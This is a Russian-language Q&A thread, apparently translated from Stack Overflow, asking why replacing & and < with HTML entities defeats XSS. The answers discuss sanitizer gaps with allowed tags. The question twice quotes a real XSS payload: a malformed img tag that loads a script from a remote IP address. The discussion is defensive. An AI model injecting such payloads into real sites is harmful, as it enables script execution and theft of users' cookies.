как может работать XSS, если я гарантирую, что я заменю все & на &, а затем заменю все <на <? - PullRequest
1 голос
/ 07 июля 2011

С http://www.codinghorror.com/blog/2008/08/protecting-your-cookies-httponly.html:

Как это случилось? XSS, конечно. Все началось с того, что этот скрипт был добавлен на страницу профиля пользователя. <img src=""http://www.a.com/a.jpg<script type=text/javascript src="http://1.2.3.4:81/xss.js">" /><<img src=""http://www.a.com/a.jpg</script>"

Хорошо, над этим фрагментом он говорил о замене всех < на &lt;

Так что, в принципе, если пользователь написал что-то вроде

<img src=""http://www.a.com/a.jpg<script type=text/javascript 
    src="http://1.2.3.4:81/xss.js">" /><<img 
    src=""http://www.a.com/a.jpg</script>

Я не понимаю, почему он способен на XSS, если мы просто выполним поиск символа & и заменим его на &amp;, затем выполните поиск < и заменим его на &lt;

Ответы [ 3 ]

1 голос
/ 08 июля 2011

Замена < на &lt; сделает тег стандартной строкой, так как он больше не является тегом, поскольку он начинается с &lt;, а не <.

Например, <div> - это тег, тогда как &lt;div> - нет; это просто строка Это означает, что любые теги <script> анализируются как строки, предотвращая XSS. Замена & на &amp; остановит корректный анализ аргументов в URL-адресах XSS (например, www.url.com/index.php?foo=bar&bar=zip превратится в www.url.com/index.php?foo=bar&amp;bar=zip), что не является допустимым URI.

Конечно, эти усилия по санации не являются окончательными; Будут способы обойти это, как и в любой реализации безопасности.

1 голос
/ 08 июля 2011

Проблема, о которой говорил Джефф Этвуд, заключалась в том, что некоторые HTML-теги были разрешены. В его случае он разрешал теги <img>. В хитрой XSS-атаке взломщик использовал тег изображения, но также сбросил в него немного javascript.

Поскольку дезинфицирующее средство Джеффа разрешало <img> (и его атрибуты), оно пропустило очистку тега <script> (возможно, потому что игнорировало все, что внутри тега <img>).

Если вы замените каждый отдельный экземпляр < на &lt; и т. Д., Он должен быть чистым. Однако, перефразируя строку статьи мистера Этвуда: «Вы не можете просто забить каждую сомнительную вещь».

0 голосов
/ 08 июля 2011

Я верю (поправьте меня, если неправильно, пожалуйста, потому что безопасность HARD ;)), которая работает. В большинстве случаев проблема заключается в том, что разработчики используют черные списки вместо белых . Когда вы экранируете каждый тег, как вы, вы не можете выводить HTML. Но опять же, я думаю, вы могли бы использовать что-то вроде markdown для генерации HTML.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...